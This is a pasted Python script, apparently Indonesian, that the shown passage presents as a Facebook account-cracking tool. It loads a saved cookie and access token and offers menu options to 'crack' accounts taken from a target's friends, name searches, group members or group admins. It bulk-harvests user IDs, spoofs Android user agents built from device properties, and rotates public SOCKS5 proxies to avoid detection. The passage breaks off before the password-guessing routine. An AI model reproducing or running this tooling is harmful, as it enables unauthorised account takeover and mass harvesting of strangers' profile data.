OBF-XIn

140.213.44.86-/sdcard/facebook.py.py

Apr 2nd, 2024
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 114.71 KB | None | 0 0
  1. # ----[ CREATE BY ZORA ID 2024 ]---- #
  2.  
  3. ME = '\x1b[1;91m' # MERAH
  4. HU  = '\x1b[1;92m' # HIJAU
  5.  
  6. KG = '\x1b[1;93m' # KUNING
  7. BU = '\x1b[1;94m' # BIRU
  8.  
  9. UU = '\x1b[1;95m' # UNGU
  10. DT  = '\x1b[0m' # DEFAULT
  11.  
  12. try:
  13.     import os, re, sys, json, time, random, requests, datetime, bs4, uuid, base64, string, urllib, hashlib, subprocess
  14.     from rich.console import Console
  15.     from rich.console import Console
  16.     from rich.columns import Columns
  17.     from rich.tree import Tree
  18.     from rich.panel import Panel
  19.     from rich import print as printz
  20.     from concurrent.futures import ThreadPoolExecutor
  21.     from token_eaat import GenerateEAAT
  22.     from asset.useragent_fb import Useragent
  23.     from banner import Terminal
  24. except(Exception, KeyboardInterrupt) as e:
  25.     try:
  26.         from urllib.parse import quote
  27.         __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=FACEBOOK%20ERROR%20%3A%20{quote(str(e))}')
  28.         exit()
  29.     except(Exception, KeyboardInterrupt) as e:
  30.         from urllib.parse import quote
  31.         __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=FACEBOOK%20ERROR%20%3A%20{quote(str(e))}')
  32.         exit()
  33.  
  34. data, data2 = {},{}
  35. bs = bs4.BeautifulSoup
  36. dump, proxies, active, inactive, deleted = [],[],[],[],[]
  37.  
  38. def generate_random_chrome_version():
  39.     return (f'{random.randrange(85, 124)}.0.{random.randrange(4200, 4900)}.{random.randrange(40, 150)}')
  40.    
  41. def generate_agent():
  42.     android_version = subprocess.check_output("getprop ro.build.version.release", shell=True).decode("utf-8").replace("\n", "")
  43.     model_device = subprocess.check_output("getprop ro.product.model", shell=True).decode("utf-8").replace("\n", "")
  44.     build_device = subprocess.check_output("getprop ro.build.id", shell=True).decode("utf-8").replace("\n", "")
  45.     chrome_version = generate_random_chrome_version()
  46.     large_device = "{{density=2.25,height={},width={}}}".format(
  47.         subprocess.check_output('getprop ro.hwui.text_large_cache_height', shell=True).decode('utf-8').replace('\n', ''),
  48.         subprocess.check_output('getprop ro.hwui.text_large_cache_width', shell=True).decode('utf-8').replace('\n', '')
  49.     )
  50.     manufacturer_device = subprocess.check_output("getprop ro.product.manufacturer", shell=True).decode("utf-8").replace("\n", "")
  51.     brand_device = subprocess.check_output("getprop ro.product.brand", shell=True).decode("utf-8").replace("\n", "")
  52.     cpu_device = subprocess.check_output("getprop ro.product.cpu.abilist", shell=True).decode("utf-8").replace(",", ":").replace("\n", "")
  53.     app_version = str(random.randint(111111111, 999999999))
  54.     language = random.choice(["en_US","en_GB","in_ID"])
  55.     try:
  56.         simcard = subprocess.check_output("getprop gsm.operator.alpha", shell=True).decode("utf-8").split(",")[1].replace("\n", "")
  57.     except:
  58.         simcard = subprocess.check_output("getprop gsm.operator.alpha", shell=True).decode("utf-8").split(",")[0].replace("\n", "")
  59.     model_realme = random.choice(["RMX3516", "RMX3371",
  60.     "RMX3461", "RMX3286", "RMX3561", "RMX3388",
  61.     "RMX3311", "RMX3142", "RMX2071", "RMX1805",
  62.     "RMX1809", "RMX1801", "RMX1807", "RMX1803",
  63.     "RMX1825", "RMX1821", "RMX1822", "RMX1833",
  64.     "RMX1851", "RMX1853", "RMX1827", "RMX1911",
  65.     "RMX1919", "RMX1927", "RMX1971", "RMX1973",
  66.     "RMX2030", "RMX2032", "RMX1925", "RMX1929",
  67.     "RMX2001", "RMX2061", "RMX2063", "RMX2040",
  68.     "RMX2042", "RMX2002", "RMX2151", "RMX2163",
  69.     "RMX2155", "RMX2170", "RMX2103", "RMX3085",
  70.     "RMX3241", "RMX3081", "RMX3151", "RMX3381",
  71.     "RMX3521", "RMX3474", "RMX3471", "RMX3472",
  72.     "RMX3392", "RMX3393", "RMX3491", "RMX1811",
  73.     "RMX2185", "RMX3231", "RMX2189", "RMX2180",
  74.     "RMX2195", "RMX2101", "RMX1941", "RMX1945",
  75.     "RMX3063", "RMX3061", "RMX3201", "RMX3203",
  76.     "RMX3261", "RMX3263", "RMX3193", "RMX3191",
  77.     "RMX3195", "RMX3197", "RMX3265", "RMX3268",
  78.     "RMX3269", "RMX2027", "RMX2020", "RMX2021",
  79.     "RMX3581", "RMX3501", "RMX3503", "RMX3511",
  80.     "RMX3310", "RMX3312", "RMX3551", "RMX3301",
  81.     "RMX3300", "RMX2202", "RMX3363", "RMX3360",
  82.     "RMX3366", "RMX3361", "RMX3031", "RMX3370",
  83.     "RMX3357", "RMX3560", "RMX3562", "RMX3350",
  84.     "RMX2193", "RMX2161", "RMX2050", "RMX2156",
  85.     "RMX3242", "RMX3171", "RMX3430", "RMX3235",
  86.     "RMX3506", "RMX2117", "RMX2173", "RMX3161",
  87.     "RMX2205", "RMX3462", "RMX3478", "RMX3372",
  88.     "RMX3574", "RMX1831", "RMX3121", "RMX3122",
  89.     "RMX3125", "RMX3043", "RMX3042", "RMX3041",
  90.     "RMX3092", "RMX3093", "RMX3571", "RMX3475",
  91.     "RMX2200", "RMX2201", "RMX2111", "RMX2112",
  92.     "RMX1901", "RMX1903", "RMX1992", "RMX1993",
  93.     "RMX1991", "RMX1931", "RMX2142", "RMX2081",
  94.     "RMX2085", "RMX2083", "RMX2086", "RMX2144",
  95.     "RMX2051", "RMX2025", "RMX2075", "RMX2076",
  96.     "RMX2072", "RMX2052", "RMX2176", "RMX2121",
  97.     "RMX3115", "RMX1921"])
  98.     build_device = random.choice(['OPM1','TP1A','RP1A','PPR1','PKQ1','QP1A','SP1A','RKQ1','QKQ1'])
  99.     versi_build = random.choice(['01','02','03','04','05','06','07','08','09','10','11','12','13','14','15','16','17','18','19'])
  100.     user_agent = f"Davik/2.1.0 (Linux; U; Android {random.randint(9,13)}; {model_realme} Build/{build_device}.{random.randint(111111,210000)}.0{versi_build}; wv)"+" [FBAN/MessengerKatana;FBAV/{};FBPN/com.facebook.katana;FBLC/{};FBBV/{};FBCR/{};FBMF/{};FBBD/{};FBDV/{};FBSV/{};FBCA/{};FBDM/{};]".format(
  101.         chrome_version, language, app_version, simcard,
  102.         manufacturer_device, brand_device, model_realme, android_version, cpu_device, large_device
  103.     )
  104.    
  105.     return user_agent
  106.  
  107. def generate_user_agent():
  108.     android_version = subprocess.check_output("getprop ro.build.version.release", shell=True).decode("utf-8").replace("\n", "")
  109.     model_device = subprocess.check_output("getprop ro.product.model", shell=True).decode("utf-8").replace("\n", "")
  110.     build_device = subprocess.check_output("getprop ro.build.id", shell=True).decode("utf-8").replace("\n", "")
  111.     chrome_version = generate_random_chrome_version()
  112.     large_device = "{{density=2.25,height={},width={}}}".format(
  113.         subprocess.check_output('getprop ro.hwui.text_large_cache_height', shell=True).decode('utf-8').replace('\n', ''),
  114.         subprocess.check_output('getprop ro.hwui.text_large_cache_width', shell=True).decode('utf-8').replace('\n', '')
  115.     )
  116.     manufacturer_device = subprocess.check_output("getprop ro.product.manufacturer", shell=True).decode("utf-8").replace("\n", "")
  117.     brand_device = subprocess.check_output("getprop ro.product.brand", shell=True).decode("utf-8").replace("\n", "")
  118.     cpu_device = subprocess.check_output("getprop ro.product.cpu.abilist", shell=True).decode("utf-8").replace(",", ":").replace("\n", "")
  119.     app_version = str(random.randint(111111111, 999999999))
  120.     language = random.choice(["en_US","en_GB","in_ID"])
  121.     try:
  122.         simcard = subprocess.check_output("getprop gsm.operator.alpha", shell=True).decode("utf-8").split(",")[1].replace("\n", "")
  123.     except:
  124.         simcard = subprocess.check_output("getprop gsm.operator.alpha", shell=True).decode("utf-8").split(",")[0].replace("\n", "")
  125.    
  126.     user_agent = "Davik/2.1.0 (Linux; U; Android {}; {} Build/{}) [FBAN/MessengerLite;FBAV/{};FBPN/com.facebook.katana;FBLC/{};FBBV/{};FBCR/{};FBMF/{};FBBD/{};FBDV/{};FBSV/{};FBCA/{};FBDM/{};]".format(
  127.         android_version, model_device, build_device, chrome_version, language, app_version, simcard,
  128.         manufacturer_device, brand_device, model_device, android_version, cpu_device, large_device
  129.     )
  130.    
  131.     return user_agent
  132.  
  133. class Requ:
  134.     def __init_(self) -> None:
  135.         pass
  136.        
  137.     def payload(self, curl):
  138.         self.payload = {
  139.             'av': re.search('{"actorID":"(\d+)"', str(curl)).group(1),
  140.             '__user': re.search('{"actorID":"(\d+)"', str(curl)).group(1),
  141.             '__a':'1',
  142.             '__req': 'h',
  143.             '__hs': re.search('"haste_session":"(.*?)"', str(curl)).group(1),
  144.             'dpr': '2',
  145.             '__ccg': re.search('"connectionClass":"(.*?)"',str(curl)).group(1),
  146.             '__rev': re.search('{"consistency":{"rev":(\d+)}', str(curl)).group(1),
  147.             '__s': '',
  148.             '__hsi': re.search('"hsi":"(\d+)"', str(curl)).group(1),
  149.             '__dyn': '',
  150.             '__csr': '',
  151.             '__comet_req': re.search('__comet_req=(\d+)', str(curl)).group(1),
  152.             'fb_dtsg': re.search('"DTSGInitialData",\[\],{"token":"(.*?)"}',str(curl)).group(1),
  153.             'jazoest': re.search('jazoest=(\d+)', str(curl)).group(1),
  154.             'lsd': re.search('"LSD",\[\],{"token":"(.*?)"',str(curl)).group(1),
  155.             '__spin_r': re.search('"__spin_r":(\d+)', str(curl)).group(1),
  156.             '__spin_b': re.search('"__spin_b":"(.*?)"',str(curl)).group(1),
  157.             '__spin_t': re.search('"__spin_t":(\d+)', str(curl)).group(1),
  158.             'fb_api_caller_class': 'RelayModern'
  159.         }
  160.         return(self.payload)
  161.        
  162.     def headers_get(self):
  163.         self.headers = {
  164.             'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  165.             'Accept-Encoding':'gzip, deflate',
  166.             'Accept-Language':'en-US,en;q=0.9',
  167.             'Cache-Control':'max-age=0',
  168.             'Pragma':'akamai-x-cache-on, akamai-x-cache-remote-on, akamai-x-check-cacheable, akamai-x-get-cache-key, akamai-x-get-extracted-values, akamai-x-get-ssl-client-session-id, akamai-x-get-true-cache-key, akamai-x-serial-no, akamai-x-get-request-id,akamai-x-get-nonces,akamai-x-get-client-ip,akamai-x-feo-trace',
  169.             'Sec-Ch-Prefers-Color-Scheme':'light',
  170.             'Sec-Ch-Ua':'','Sec-Ch-Ua-Full-Version-List':'',
  171.             'Sec-Ch-Ua-Mobile':'?0',
  172.             'Sec-Ch-Ua-Platform':'',
  173.             'Sec-Ch-Ua-Platform-Version':'',
  174.             'Sec-Fetch-Dest':'document',
  175.             'Sec-Fetch-Mode':'navigate',
  176.             'Sec-Fetch-Site':'same-origin',
  177.             'Sec-Fetch-User':'?1',
  178.             'Upgrade-Insecure-Requests':'1',
  179.             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36','Viewport-Width':'924'
  180.         }
  181.         return(self.headers)
  182.        
  183.     def headers_post(self):
  184.         self.headers = {
  185.             'Accept':'*/*',
  186.             'Accept-Encoding':'gzip, deflate',
  187.             'Accept-Language':'en-US,en;q=0.9',
  188.             'Content-Type':'application/x-www-form-urlencoded',
  189.             'Origin':'https://www.facebook.com',
  190.             'Sec-Ch-Prefers-Color-Scheme':'dark',
  191.             'Sec-Ch-Ua':'',
  192.             'Sec-Ch-Ua-Full-Version-List':'',
  193.             'Sec-Ch-Ua-Mobile':'?0',
  194.             'Sec-Ch-Ua-Model':'',
  195.             'Sec-Ch-Ua-Platform':'',
  196.             'Sec-Ch-Ua-Platform-Version':'',
  197.             'Sec-Fetch-Dest':'empty',
  198.             'Sec-Fetch-Mode':'cors',
  199.             'Sec-Fetch-Site':'same-origin',
  200.             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36'
  201.         }
  202.         return(self.headers)
  203.        
  204.     def bahasa(self, cookie):
  205.         with requests.Session() as r:
  206.             try:
  207.                 curl = r.get("https://mbasic.facebook.com/",cookies={"cookie": cookie}).text
  208.                 if "Apa yang Anda pikirkan sekarang" in curl: pass
  209.                 else:
  210.                     for z in curl.find_all("a",href=True):
  211.                         if "Tidak, Terima Kasih" in z.text:
  212.                             res = r.get("https://mbasic.facebook.com"+z["href"],cookies={"cookie":cookie})
  213.                             par = bs(res.text,"html.parser")
  214.                             act = par.find("form",{"method":"post"})["action"]
  215.                             pat = {
  216.                                 "fb_dtsg": re.search('name="fb_dtsg" value="(.*?)"', str(act.text)).group(1),
  217.                                 "jazoest":re.search('name="jazoest" value="(.*?)"', str(act.text)).group(1),
  218.                                 "submit": "OK, Gunakan Data"
  219.                             }
  220.                             pos = r.post("https://mbasic.facebook.com"+act,data=pat,cookies={"cookie": cookie})
  221.                     return pos
  222.             except (Exception) as e: pass    
  223.        
  224.     def GetFriends(self, cookie):
  225.         with requests.Session() as r:
  226.             try:
  227.                 resp = r.get('https://mbasic.facebook.com/profile.php?v=friends',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text
  228.                 if '"success":true' or 'Teman' not in str(resp):
  229.                     return re.search('>Teman (.*?)</h3>',str(resp)).group(1).split('(')[1].split(')')[-2]
  230.             except (Exception) as e: return('Tidak Ada')
  231.            
  232.     def GetUltah(self, cookie):
  233.         with requests.Session() as r:
  234.             try:
  235.                 resp = bs(r.get('https://mbasic.facebook.com/profile.php?v=info',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
  236.                 if '"success":true' or 'Tanggal Lahir' not in str(resp):
  237.                     ultah = resp.find(string=re.compile('Tanggal Lahir'))
  238.                     if ultah: return(ultah.find_next('div').text)
  239.                     else: return('tidak di ketahui')
  240.             except (Exception) as e: return(None)
  241.                                    
  242.     def ApkActive(self,cookie):
  243.         with requests.Session() as r:
  244.             try:
  245.                 resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=active',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
  246.                 for x  in resp.find_all("h3"):
  247.                     if "Ditambahkan" in x.text: active.append(f"{DT}{str(x.text).replace('Ditambahkan',f' {HU}Ditambahkan')}{DT}")
  248.                     else: continue
  249.                 next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
  250.                 self.ApkActive(next,cookie)
  251.             except (Exception) as e: pass
  252.        
  253.     def ApkInactive(self,cookie):
  254.         with requests.Session() as r:
  255.             try:
  256.                 resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
  257.                 for x  in resp.find_all("h3"):
  258.                     if "Kedaluwarsa" in x.text: inactive.append(f"{DT}{str(x.text).replace('Kedaluwarsa',f' {KG}Kedaluwarsa')}{DT}")
  259.                     else: continue
  260.                 next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
  261.                 self.ApkInactive(next,cookie)
  262.             except (Exception) as e: pass
  263.        
  264.     def ApkDeleted(self,cookie):
  265.         with requests.Session() as r:
  266.             try:
  267.                 resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=removed',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
  268.                 for x  in resp.find_all("h3"):
  269.                    if "Dihapus" in x.text: deleted.append(f"{DT}{str(x.text).replace('Dihapus',f' {ME}Dihapus')}{DT}")
  270.                    else: continue
  271.                 next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
  272.                 self.ApkDeleted(next,cookie)
  273.             except (Exception) as e: pass
  274.            
  275.     def ConvertName(self, User, cookie):
  276.          with requests.Session() as r:
  277.              if "me" in User or "100" in User:
  278.                 return User
  279.              elif "https" in User or "facebook" in User:
  280.                 uid = User.split('/')[3]
  281.                 link = bs(r.get(f"https://mbasic.facebook.com/{uid}", cookies={'cookies':cookie[0]}).content, "html.parser")
  282.                 kut = link.find('a',string='Lainnya')
  283.                 return(str(kut['href']).split('=')[1].split('&')[0])
  284.              else:
  285.                 link = bs(r.get(f"https://mbasic.facebook.com/{User}", cookies={'cookies':cookie[0]}).content, "html.parser")
  286.                 kut = link.find('a',string='Lainnya')
  287.                 return(str(kut['href']).split('=')[1].split('&')[0])
  288.                  
  289.     def Socksku(self):
  290.         with requests.Session() as r:
  291.             try:
  292.                 response = r.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol={}&timeout=100000&country=all&ssl=all&anonymity=all'.format('socks5')).text
  293.                 for prox in response.splitlines():
  294.                     proxies.append(prox)
  295.                 return proxies
  296.             except (requests.exceptions.ConnectionError): time.sleep(5); self.Socksku()    
  297.            
  298. class Facebook:
  299.     def __init__(self):
  300.         self.requ = requests.Session()
  301.         self.password_manual, self.password_manuale, self.masukan_sandi, self.masukan_sandine, self.daftar, self.sudah, self.opsi, self.uaman, self.uaku, self.ok, self.cp, self.lp = [],[],[],[],[],[],[],[],[],0,0,0
  302.         self.dt = datetime.datetime.now()
  303.         self.alt = ('Facebook-'+str(self.dt.year)+'.txt')
  304.         self.kilo, self.kulo = [],[]
  305.         self.chek_data()
  306.        
  307.     def deled_dst(self):
  308.         try: os.system('rm -rf .data_fb.txt')
  309.         except: pass
  310.         GenerateEAAT().Cookies()
  311.        
  312.     def chek_data(self):
  313.         if os.path.isfile('.data_fb.txt') is True:
  314.            xxx = open('.data_fb.txt','r').read()
  315.            cookie, token = xxx.split('|'), xxx.split('|')
  316.            self.login_menu(cookie, token)
  317.         else: self.deled_dst()
  318.        
  319.     def chek_info(self, cookie, token):
  320.         with requests.Session() as r:
  321.             try:
  322.                 response = r.get(f"https://graph.facebook.com/me?fields=id,name,birthday,gender&access_token={token[1]}", cookies = {'cookies':cookie[0]}).json()
  323.                 bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  324.                 bulan, tanggal, tahun = response['birthday'].split('/')
  325.                 return (response['id'],response['name'],f'{tanggal} {bulan_ttl[bulan]} {tahun}',response['gender'])
  326.             except (KeyError) as e:
  327.                 Terminal().Clear_Terminal()
  328.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  329.                 Console().print("[bold grey50]   ╰─> Terjadi Kesalahan, Cookie Exspired Atau Limite!!.."); time.sleep(3)
  330.                 self.deled_dst()
  331.  
  332.     def login_menu(self,cookie, token):
  333.         try: id, name, lahir, gender = self.chek_info(cookie, token)
  334.         except (requests.exceptions.ConnectionError) as e:
  335.             Terminal().Clear_Terminal()
  336.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  337.             Console().print("[bold grey50]   ╰─> Terjadi Kesalahan, Koneksi Anda Error!!.."); time.sleep(3)
  338.             self.chek_data()
  339.         Terminal().Banner_Facebook()      
  340.         self.kulo.append(Panel(f'[bold green]•[bold white] User id [bold green]{id}\n[bold green]•[bold white] Username [bold green]{name}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  341.         self.kulo.append(Panel(f'[bold green]•[bold white] Gender [bold green]{gender}\n[bold green]•[bold white] Lahir [bold green]{lahir}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  342.         Console().print(Columns(self.kulo))
  343.         Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Crack id dari daftar teman  [bold white][bold green]06[bold white]. Chek opsi checkpoint\n[bold white][bold green]02[bold white]. Crack id dari search uname\t[bold white][bold green]07[bold white]. Dump id ke file txt\n[bold white][bold green]03[bold white]. Crack id dari member group\t[bold white][bold green]08[bold white]. Clone random email\n[bold white][bold green]04[bold white]. Crack id dari admin group\t[bold white][bold green]09[bold white]. Chek result crack\n[bold white][bold green]05[bold white]. Crack id dari file dump\t[bold white][bold green]00[bold white].[bold red] Exit facebook''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Facebook[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  344.         query = Console().input("[bold grey50]   ╰─> ")  
  345.         if query == '01' or query == '1':
  346.             try:
  347.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan ID Akun Facebook Target Pastikan Tidak Terkunci Atau Private, Ketik [bold green]me[bold white] Jika Ingin Dump Teman Sendiri, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] 100000430704534,100000430704534[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  348.                 username = Console().input("[bold grey50]   ╰─> ")
  349.                 for self.username in username.split(','):
  350.                     try: self.Dump_Friends(self.username, cookie, token)
  351.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
  352.                 if len(dump) < 50:
  353.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  354.                     exit()
  355.                 else:
  356.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  357.                     self.Methode()
  358.             except (Exception) as e:
  359.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  360.                 exit()
  361.                
  362.         elif query == '02' or query == '2':
  363.             try:
  364.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama Target, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] dinda, fatimah[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Unlimited[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  365.                 username = Console().input("[bold grey50]   ╰─> ")
  366.                 for self.username in username.split(','):
  367.                     try: self.Dump_Nama(f'https://www.facebook.com/search/people/?q={self.username}'.replace(' ','+'), cookie, '')
  368.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt) as e: print(e)
  369.                 if len(dump) < 50:
  370.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  371.                     exit()
  372.                 else:
  373.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  374.                     self.Methode()
  375.             except (Exception) as e:
  376.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  377.                 exit()
  378.                
  379.         elif query == '03' or query == '3':
  380.             try:
  381.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan ID Grup Facebook Grup Pastikan Tidak Terkunci Atau Private, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] 322227862223869,489534719248261[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  382.                 username = Console().input("[bold grey50]   ╰─> ")
  383.                 for self.username in username.split(','):
  384.                     try: self.Dump_Member(self.username, cookie, '')
  385.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt) as e: pass
  386.                 if len(dump) < 50:
  387.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  388.                     exit()
  389.                 else:
  390.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  391.                     self.Methode()
  392.             except (Exception) as e:
  393.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  394.                 exit()
  395.                
  396.         elif query == '04' or query == '4':
  397.             try:
  398.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama Grup Facebook, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] ayam, kandang[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  399.                 username = Console().input("[bold grey50]   ╰─> ")
  400.                 for self.username in username.split(','):
  401.                     try: self.Dump_Admin(f'https://free.facebook.com/search/groups/?q={self.username}', cookie)
  402.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
  403.                 if len(dump) < 50:
  404.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  405.                     exit()
  406.                 else:
  407.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  408.                     self.Methode()
  409.             except (Exception) as e:
  410.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  411.                 exit()    
  412.                
  413.         elif query == '05' or query == '5':
  414.             try:
